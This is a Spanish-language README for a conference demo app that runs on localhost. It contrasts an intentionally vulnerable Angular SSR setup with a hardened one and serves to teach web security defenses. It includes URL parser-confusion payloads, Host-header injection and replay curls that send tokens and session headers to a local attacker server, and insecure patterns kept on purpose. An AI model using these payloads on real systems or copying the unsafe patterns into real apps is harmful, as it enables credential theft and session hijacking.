Es la demo de mi charla "Más allá de los interceptores: las fronteras de confianza de Angular HTTP", en el DevFest Callao 2026. Soy Jaime Burgos Tejada (@SkyZeroZx).
corner-shop es una bodega online como cualquier otra. Tiene Angular 22.2 con SSR, hydration y Service Worker, una API en NestJS y un servidor attacker que solo anota lo que le llega. La misma app corre en dos modos:
unsafe: la app como la entregó el equipo, con decisiones que se ven en cualquier proyecto.safe: las mismas pantallas y features, pero con otras decisiones en cada frontera.
Todo corre en tu máquina, en loopback, y los secretos son datos de prueba.
- Node.js 22.12 o superior (lo probé con 24.16)
- Chrome o Edge, solo para
npm run verify
npm install
npm run build
npm start # modo unsafe
npm run start:safe # modo safe| Servidor | URL |
|---|---|
| shop (Angular SSR) | http://localhost:4000 |
| api (NestJS) | http://localhost:3000/api |
| attacker (NestJS) | http://localhost:9999/\_\_log |
npm run verify corre los labs 1 a 5 en los dos modos y te muestra qué se filtró:
npm run verify Lab unsafe safe
--------------------------------------------------------------
1 Token on a URL that "looks relative" LEAKED blocked
2 Host header steers SSR requests LEAKED blocked
3 Custom header follows a redirect LEAKED blocked
4 Private data in shared HTML LEAKED blocked
5 Service Worker cache across users LEAKED blocked
La charla sigue un http.get('/api/me') por seis fronteras. En cada una hay un caso real de Angular y un lab que lo muestra en esta app. La app usa Angular 22.2.3 con todos los parches.
| Frontera | Lab | Cómo verlo | Advisory |
|---|---|---|---|
| 1 · La URL: otro parser | 1 | /promos, npm run lab:urls |
GHSA-jfgx-762w-99vr |
| 2 · El SSR: otro proceso | 2 | npm run lab:host |
GHSA-w739-gvwx-grc3, con su PoC; CVE-2026-27739 para el Host |
| 3 · Los redirects: otro destino | 3 | npm run lab:redirect |
CVE-2026-54264 |
| 4 · XHR y fetch: otro cliente | XHR | npm run lab:xhr |
ServerXhr deprecated desde 22.0.1, #70540 (sin CVE) |
| 5 · El HTML: otro lector | 4 | /, npm run lab:cache |
CVE-2026-88059, CVE-2026-54267 |
| 6 · El Service Worker: otro intermediario | 5 | /orders, en el navegador |
CVE-2026-50184 |
El open redirect del SSR (GHSA-w739) está corregido desde la 22.2.1, así que en la charla lo muestro con su PoC. El Lab 2 muestra otro problema de la misma frontera, porque en SSR tu servidor también hace requests.
Los npm run lab:* imprimen lo mismo que curl sin que tengas que escribirlo. Todos menos lab:urls necesitan el stack corriendo (npm start o npm run start:safe).
Una promo del CMS trae trackUrl: '/\localhost:9999/collect'. El interceptor de auth revisa con un regex si la URL es "nuestra", ve que sí y le pone el token. Pero el navegador la lee con el parser WHATWG y la manda a otro origen.
Puedes verlo sin navegador:
npm run lab:urlscase input regex says fetch() sends to token
backslash '/\localhost:9999/collect' relative http://localhost:9999 LEAKS
leading tab '\t//localhost:9999/collect' relative http://localhost:9999 LEAKS
inner line feed '/\n/localhost:9999/collect' relative http://localhost:9999 LEAKS
...
14 of 17 inputs: the regex says "ours", the browser sends them somewhere else.
En el navegador, entra como Ana en /login, ve a /promos y dale Save promo en "Alfajores -20%". En la terminal sale esto:
[attacker] preflight /collect?promo=alfajores asks for: authorization, content-type → yes
[attacker] POST /collect?promo=alfajores authorization=Bearer at_ana_…
El X-XSRF-TOKEN no aparece porque el interceptor XSRF de Angular 22 ya compara orígenes con new URL(). El interceptor de la app todavía usa el regex. Con el toggle de la página puedes cambiar el chequeo en vivo.
CORS no lo frena porque el preflight lo contesta el destino, y aquí el destino es el atacante (attacker/src/main.ts).
En SSR, Angular completa las URLs relativas con el Host del request que llegó. En modo unsafe alguien puso NG_ALLOWED_HOSTS=* para que dejaran de salir unos 400 detrás del balanceador. Desde entonces nadie valida el header Host, y el atacante decide a dónde van esas URLs.
npm run lab:host
# equivale a: curl -H "Host: 127.0.0.1:9999" http://localhost:4000/dealsHTTP 200
The page your server rendered shows the attacker's deal.
[attacker] GET /api/deals/today x-internal-key=sk_internal_corner_shop_demo
En safe, con allowedHosts el servidor responde 400 antes de renderizar y al atacante no le llega nada.
Para el último Cyber Wow, las ofertas del día se publicaron como un JSON en el sitio de la campaña (cyber.cornershop.pe) y /api/deals/today empezó a responder 302 hacia ese archivo. La campaña terminó y borraron el bucket, pero el CNAME y el redirect se quedaron. Alguien creó un bucket con el mismo nombre, así que ese subdominio ahora es suyo. En la demo, ese alguien es el atacante en :9999 (config.ts).
La página no tiene nada raro. Usa httpResource y la hydration de siempre (deals.ts). En SSR, el interceptor le pone la API key interna (X-Internal-Key) y la sesión del usuario (X-Session) a cada llamada a la API. Cuando llega el 302, fetch sigue el redirect y tu interceptor ni se entera.
npm run lab:redirect
# equivale a: curl -b "sid=$ANA" http://localhost:4000/dealsThe page shows whatever the campaign site serves now.
[attacker] GET /deals/today.json x-session=sid_ana_… x-internal-key=sk_internal_corner_shop_demo
En la terminal del stack se ve el camino completo:
[ssr] fetch sent GET http://localhost:4000/api/deals/today carrying x-session, x-internal-key
[attacker] GET /deals/today.json x-session=sid_ana_… x-internal-key=sk_internal_corner_shop_demo
[ssr] ↪ followed a redirect to http://localhost:9999/deals/today.json
En un redirect a otro origen, el estándar Fetch borra Authorization y Node además borra Cookie. Los headers custom, como estos dos, pasan tal cual. Con ellos el atacante llama a la API como si fuera Ana:
curl -H "X-Internal-Key: sk_internal_corner_shop_demo" -H "X-Session: sid_ana_…" http://localhost:3000/api/meEn safe, las llamadas a tu API llevan redirect: 'error' en el servidor y en el navegador, y la página muestra "Deals unavailable". El subdominio sigue siendo del atacante, y eso ya no se arregla en Angular. Hay que borrar el CNAME y el redirect.
Si usas provideHttpClient(withXhr()), en SSR los requests salen por xhr2, a través de ServerXhr de @angular/platform-server. ServerXhr está deprecated desde 22.0.1, 21.2.17 y 20.3.25, y se elimina en Angular 23. El problema es que xhr2 reenvía Authorization en redirects a otro origen y sigue los redirect loops sin cortarlos. Desde Angular 22, el backend por defecto es fetch.
npm run lab:xhr$ fetch GET http://localhost:3000/api/deals/today
[attacker] GET /deals/today.json (nothing interesting)
$ xhr2 GET http://localhost:3000/api/deals/today
[attacker] GET /deals/today.json authorization=Bearer at_ana_…
new URL() resolves it to http://localhost:4000/%C2%A0http://localhost:9999/collect?lab=xhr same origin
$ xhr2 GET " http://localhost:9999/collect?lab=xhr"
[attacker] GET /collect?lab=xhr authorization=Bearer at_ana_…
Los dos primeros casos usan el mismo Bearer y el mismo 302 a otro origen. Con fetch el Authorization se borra, y con xhr2 le llega al atacante.
La segunda parte es angular/angular#70540, que no tiene CVE. Angular usaba String.prototype.trim() para decidir si la URL era absoluta. trim() también borra espacios Unicode como U+00A0, pero a xhr2 le llegaba el string original. Para new URL() esa URL es una ruta de tu origen, así que tu interceptor le pone el token. xhr2 la lee con el parser legacy de Node y la manda a otro host.
Está corregido en 22.1.8 y 22.2.0 (#70542), y el PoC está en angular-serverxhr-poc. Este lab llama a xhr2 directo para mostrar el parser, porque la app de la demo usa fetch.
Si tu app tiene SSR, no uses withXhr().
La home saluda con "Hi, Ana" usando los datos de /api/me. En SSR, el interceptor reenvía la sesión como X-Session, y HttpTransferCache no reconoce ese header como credencial. Por eso la respuesta termina dentro de <script id="ng-state">. Después ese HTML se guarda en un cache compartido que no mira cookies.
npm run lab:cache$ curl -b "sid=$ANA" http://localhost:4000/
x-cache: MISS cache-control: public, max-age=60
$ curl http://localhost:4000/
x-cache: HIT Hi, Ana Quispe (and her balance, in the HTML and in ng-state)
En safe:
- la API responde
/api/meconCache-Control: private, no-store, y Angular 22 ya no guarda esas respuestas en el transfer cache; - el request lleva
transferCache: false; - el HTML que se renderizó con la sesión sale como
private, no-store.
Con eso, el primer curl da x-cache: BYPASS y el segundo imprime no trace of Ana.
En ngsw-config.json, /api/orders está en un dataGroup con estrategia performance. El Service Worker guarda las respuestas por URL y no sabe qué usuario las pidió.
- Corre
npm start, abre http://localhost:4000/login y recarga una vez para que el Service Worker controle la página. - Entra como Ana y abre Orders.
- Cierra sesión, entra como Beto y abre Orders. Vas a ver "Orders for Ana Quispe".
En safe, los requests privados llevan ngsw-bypass y el sign-out borra los caches ngsw:*:data:*. El fix de verdad es sacar /api/orders del dataGroup. Como eso cambia el build, la demo usa el header para que los dos modos corran con el mismo build.
| Decisión | Dónde |
|---|---|
Comparar orígenes con new URL(), no con un regex |
auth-interceptor.ts, first-party.ts |
| Sacar la URL de la API de la config, no del request | server-api-interceptor.ts |
| La API key interna y la sesión solo van a las APIs privadas | server-api-interceptor.ts |
redirect: 'error' en las llamadas a tu API, en el servidor y en el navegador |
server-api-interceptor.ts, auth-interceptor.ts |
transferCache: false y HTML private, no-store si el render usó la sesión |
server-api-interceptor.ts |
Cache-Control: private, no-store en las respuestas de cada usuario |
account.controller.ts |
allowedHosts explícito, sin * |
project.json, servers.mjs |
ngsw-bypass en las APIs privadas y limpiar los caches en el sign-out |
auth-interceptor.ts, session-store.ts |
El servidor lee el modo de SAFE=1 y se lo pasa al navegador por TransferState (lab-mode.ts). Eso es solo para la demo, no lo copies en tu app.
Hay cosas que no cambian entre modos porque no son parte de ningún lab. La API valida el usuario en el login, chequea XSRF con double submit (guards.ts), acepta X-Session solo si viene con la API key interna (sessions.service.ts) y cierra la sesión en el servidor cuando haces sign-out.
apps/
shop/ Angular 22.2: SSR, hydration, HttpTransferCache, Service Worker
src/server.ts Express 5: proxy /api, edge cache, log de los fetch que salen
src/server/ proxy, edge cache (X-Cache) y logs del SSR
src/app/http/ los interceptores de la charla
src/app/pages/ home, promos, deals, orders, login
api/ NestJS: sesión, perfil, pedidos, promos, deals (302 al sitio de la campaña)
attacker/ NestJS: CORS abierto y un log de lo que le llega
tools/
stack.mjs levanta los tres servidores
servers.mjs puertos y variables de entorno de cada servidor
client.mjs los requests que labs.mjs y verify.mjs mandan al stack
labs.mjs Labs 2, 3, 4 y XHR sin escribir curl
url-lab.mjs Lab 1 sin navegador
verify.mjs los labs 1 a 5, en los dos modos, con Chrome headless
| Frontera | Advisory | Mi rol |
|---|---|---|
| La URL | GHSA-jfgx-762w-99vr: fuga del token XSRF por parser discrepancy, porque el fix de CVE-2025-66035 quedó incompleto | lo encontré |
| El SSR | GHSA-w739-gvwx-grc3: open redirect con URLs protocol-relative en SSR | lo encontré |
| Los redirects | CVE-2026-54264: el Service Worker reenviaba headers sensibles en redirects a otro origen | lo arreglé |
| XHR y fetch | #70540: ServerXhr mandaba a otro origen una URL que new URL() tomaba como propia (sin CVE) |
lo encontré y lo arreglé |
| El HTML | CVE-2026-88059: bypass de HttpTransferCache con withRequestsMadeViaParent |
lo arreglé |
| El HTML | CVE-2026-54267: DOM clobbering de ng-state en la hydration |
lo reporté |
| El HTML | CVE-2026-50556: XSS en SSR por no escapar <noscript> |
lo arreglé |
| El HTML | CVE-2026-50555: XSS en SSR porque un emoji antes de </iframe> corría los índices del escape de Domino |
lo analicé |
| El HTML | CVE-2026-69149: XSS en SSR por contenido raw de fallback sin escapar | lo arreglé |
| El Service Worker | CVE-2026-50184: el Service Worker perdía credentials y el modo de cache al rearmar los requests |
lo arreglé |
Los PoC están en mi GitHub: angular-xsrf-origin-bypass-poc, angular-ssr-router-open-redirect y angular-serverxhr-poc.
| Frontera | Advisories |
|---|---|
| La URL | CVE-2025-66035 |
| El SSR | CVE-2025-62427, CVE-2026-27739, CVE-2026-33397, CVE-2026-41423, CVE-2026-46417, CVE-2026-50168, CVE-2026-88056 |
| Los redirects | CVE-2026-27738, CVE-2026-50169 |
| El HTML | CVE-2026-50170, CVE-2026-54266, CVE-2026-68945 |
La app usa Angular 22.2.3 y tiene todos esos fixes. Lo que se filtra en los labs sale de decisiones de la app en esas mismas fronteras.
Kaspersky inyecta un script en cada página, agrega X-KL-saas-Ajax-Request a los fetch() y contesta los preflights CORS por su cuenta. Otros antivirus hacen algo parecido. Con eso el Lab 1 falla en el navegador con Request header field authorization is not allowed. Antes de correr los labs, excluye localhost del análisis de tráfico web. npm run verify ya bloquea ese script.
Angular 22.2.3 · Nx 23.3.0 · NestJS 11.2.7 · Express 5.3 · TypeScript 6.0 · Node 24.
NestJS 12 ya salió, pero @nx/nest 23.3 solo soporta <12. Por eso lo dejé en 11, así npm install funciona sin flags.